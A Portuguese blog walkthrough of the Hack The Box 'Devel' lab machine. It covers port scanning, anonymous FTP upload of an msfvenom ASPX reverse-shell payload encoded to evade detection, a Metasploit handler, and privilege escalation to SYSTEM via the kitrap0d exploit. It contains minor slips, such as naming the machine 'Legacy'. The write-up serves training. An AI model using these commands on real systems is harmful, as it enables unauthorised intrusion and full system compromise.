Hack the Box – Devel Writeup

Hack the Box – Devel Writeup

Usaremos o Metasploit neste post!

Hoje veremos o writeup completo da máquina Legacy do Hack The Box!
Link de acesso: https://app.hackthebox.com/machines/Devel

Descrição

A máquina Devel, embora relativamente simples, demonstra os riscos de segurança associados a algumas configurações de programa padrão.
É uma máquina de nível iniciante que pode ser concluída usando explorações disponíveis publicamente.

Conhecimento requeridos:

  • Conhecimento básico em Windows
  • Enumeração de portas e serviços

Conhecimento que serão aprendidos:

  • Identificação de serviços vulneráveis
  • Exploração de credenciais fracas
  • Técnicas básicas de escalonamento de privilégios do Windows

Reconhecimento

Inicialmente, utilizamos o Masscan para efetuar uma enumeração ágil dos serviços ativos na máquina, direcionando a saída para o arquivo “ports”

masscan -p1-65535,U:1-65535 10.10.10.5 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports

Popular a variável “ports” com as portas abertas identificadas

ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

Em seguida, empregamos o NMAP para realizar uma varredura dos serviços identificados

nmap -Pn -sV -sC -p$ports 10.10.10.5

Observaçao: Esta é apenas uma forma de se fazer o scan de serviços ativos, mas sinta-se à vontade para usar outros métodos que desejar.

Resultado do scan:

Com base no print acima, podemos observar que os serviços ativos são TCP/21 (FTP) e TCP/80 (HTTP). Além disso, ao realizarmos uma varredura com o NMAP, foi identificado que o usuário “Anonymous” está configurado como permitido, indicando que ele é um usuário ativo e pode ser utilizado para acessar o serviço em questão.

ftp 10.10.10.5
User: anonymous
Pass: anonymous
dir

Ao analisarmos a porta TCP/80 (HTTP), podemos constatar que o arquivo “iisstart.htm” presente no TCP/21(FTP) é a página principal.

Exploração (Shell inicial)

Vamos criar um arquivo .htm e enviar para o FTP, e após, tentarmos acessar via navegador.

echo "teste" > teste.htm

Podemos observar que o arquivo foi criado e enviado para o FTP sem nenhuma restrição.
A fim de verificar se os arquivos presentes no FTP podem impactar o serviço WEB, tentaremos acessar o nosso arquivo. Caso consigamos acesso, prosseguiremos para a próxima etapa da exploração, que é obter uma shell.

http://10.10.10.5/teste.htm

Agora que constatamos que novos arquivos carregados para o FTP não possuem restrições e podem ser acessados pelo navegador, podemos criar um arquivo para obter acesso à shell do sistema. Para isso, utilizaremos o msfvenom para criar um arquivo com a extensão .aspx, visto que, ao analisarmos os arquivos presentes no FTP, identificamos um diretório com o nome “aspnet_client”.

msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx

Para criar o arquivo para obtermos a reverse shell, utilizaremos os seguintes parâmetros:

  • -f = Formato do arquivo;
  • -p = Payload a ser inserido no arquivo. Neste caso, usaremos um payload padrão para reverse-shell Windows;
  • LHOST = Endereço IP atribuído à sua máquina pela conexão VPN;
  • LPORT = Porta na qual você colocará em modo LISTENING em sua máquina para receber a conexão reversa;
  • -e = Encoder utilizado para codificar o payload e evitar que seja detectado pelo sistema de proteção da máquina;
  • x86/shikata_ga_nai = Tipo de encoder que usaremos com o payload selecionado;
  • -o = Out, onde atribuiremos a saída da estrutura usada para gerar o payload a um arquivo;
  • shell.aspx = Nome que daremos ao arquivo que será gerado (pode ser qualquer um de sua preferência).

Após a criação do arquivo para a reverse shell, faremos o upload para o FTP.

ftp 10.10.10.5
User: anonymous
Pass: anonymous
put shell.aspx
dir

Agora que o arquivo foi enviado para o FTP, podemos colocar a porta 4443 (a mesma que selecionamos na criação do payload com o msfvenom) em modo LISTENING e acessar o arquivo pelo navegador.

Observação: É recomendado usar o RLWRAP para uma experiência de shell mais aprimorada.

Comandos para instalação caso não possuir o RLWRAP em sua máquina:

sudo apt-get update
sudo apt-get install rlwrap

Colocando a porta 443 em modo LISTENING:

rlwrap nc -lnvp 4443

Acessando o arquivo através do navegador:

http://10.10.10.5/shell.aspx

Observamos que conseguimos acessar com o usuário de acesso “iis apppool”.
Ao navegar até o diretório C:\Users, podemos identificar alguns usuários, porém, ao tentar acessar as pastas de “Administrator” ou “Babis”, não possuímos privilégios suficientes.

Considerando que temos acesso limitado, podemos utilizar o Metasploit para recuperar a sessão e, em seguida, usar o módulo “SUGGESTER” para identificar possíveis vulnerabilidades na máquina a fim de realizar uma escalada de privilégios.

Para obtermos uma nova shell reversa, precisaremos criar um novo arquivo. No entanto, dessa vez podemos utilizar o módulo “windows/meterpreter/reverse_tcp” em vez do utilizado anteriormente, “windows/reverse_tcp”, para que possamos acessar a máquina por meio do Metasploit utilizando a shell meterpreter.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.19 LPORT=4443 -f aspx > devel.aspx

Após a criação do arquivo para a reverse shell, faremos o upload para o FTP.

ftp 10.10.10.5
User: anonymous
Pass: anonymous
put devel.aspx
dir

Agora que o arquivo foi enviado para o FTP, podemos colocar a porta 4443 em modo LISTENING através do e acessar o arquivo pelo navegador.

msfconsole
use exploit/multi/handler
set lhost 10.10.14.19

Observação: Endereço IP atribuído à sua máquina pela conexão VPN

set lport 4443

Observação: Porta na qual você colocará em modo LISTENING para receber a conexão reversa;

set payload windows/meterpreter/reverse_tcp

Observação: É importante lembrar que o payload utilizado na criação do nosso arquivo de shell reversa com o msfvenom precisa ser o mesmo utilizado agora.

run

Neste momento, o Metasploit entrará em modo LISTENING, aguardando a conexão reversa ser estabelecida.

Acessamos nosso arquivo pelo navegador:

http://10.10.10.5/devel.aspx

Após obtermos nossa shell com o uso do Metasploit, precisamos verificar a arquitetura do sistema antes de utilizarmos o módulo SUGGESTER.
Se o sistema for x86, podemos usar o módulo SUGGESTER, mas se for x64, não será possível. Nesse caso, devemos desativar a validação de arquitetura e prosseguir com outras técnicas de escalonamento de privilégios.

run SESSION=-1 Verbose=true ValidateArch=false ValidatePlatform=true

Link referência: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/recon/local _exploit_suggester.md

Validando arquitetura do sistema:

sysinfo

Utilizamos o comando abaixo para verificar qual usuário obtivemos acesso com a shell:

bg

Como a arquitetura é x86, podemos seguir com o uso normal do SUGGESTER:

bg

Observação: Este comando deve ser executado dentro do Meterpreter.

sessions

Observação: Caso não saiba qual sessão foi criada para a conexão obtida, é possível utilizar esta opção (geralmente é 1, mas é importante validar para garantir).

use post/multi/recon/local_exploit_suggester
set session 1
run

Aqui vemos alguns possíveis módulos do próprio metasploit que podemos usar para conseguir exploração e com isso obter usuário SYSTEM.
Destes usaremos o módulo exploit/windows/local/ms10_015_kitrap0d, pois ao usar o módulo exploit/windows/local/bypassuac_eventvwr (primeiro da lista) recebemos mensagem de “Exploit abortado devido a falha: sem acesso: Não está no grupo de administradores, não pode escalar com este módulo

use exploit/windows/local/ms10_015_kitrap0d
set session 1
set lhost 10.10.14.19
run

Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.

Flags do sistema

Flag user.txt

shell
type c:\users\babis\desktop\user.txt

##

Flag root.xt

type c:\users\administrator\desktop\root.txt

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Powershell Download & Execute

Powershell Download & Execute

Já precisou realizar o download de algum arquivo em Powershell e teve dificuldades?

Ler post completo
Como habilitar o RDP no Windows 11

Como habilitar o RDP no Windows 11

O Remote Desktop Protocol (ou RDP) é um protocolo que permite acesso remoto a um sistema operacional Windows.

Ler post completo
Configurando um servidor WEB [Debian9]

Configurando um servidor WEB [Debian9]

Neste tutorial aprenderemos como instalar e configurar um servidor web com [Apache][1].

Ler post completo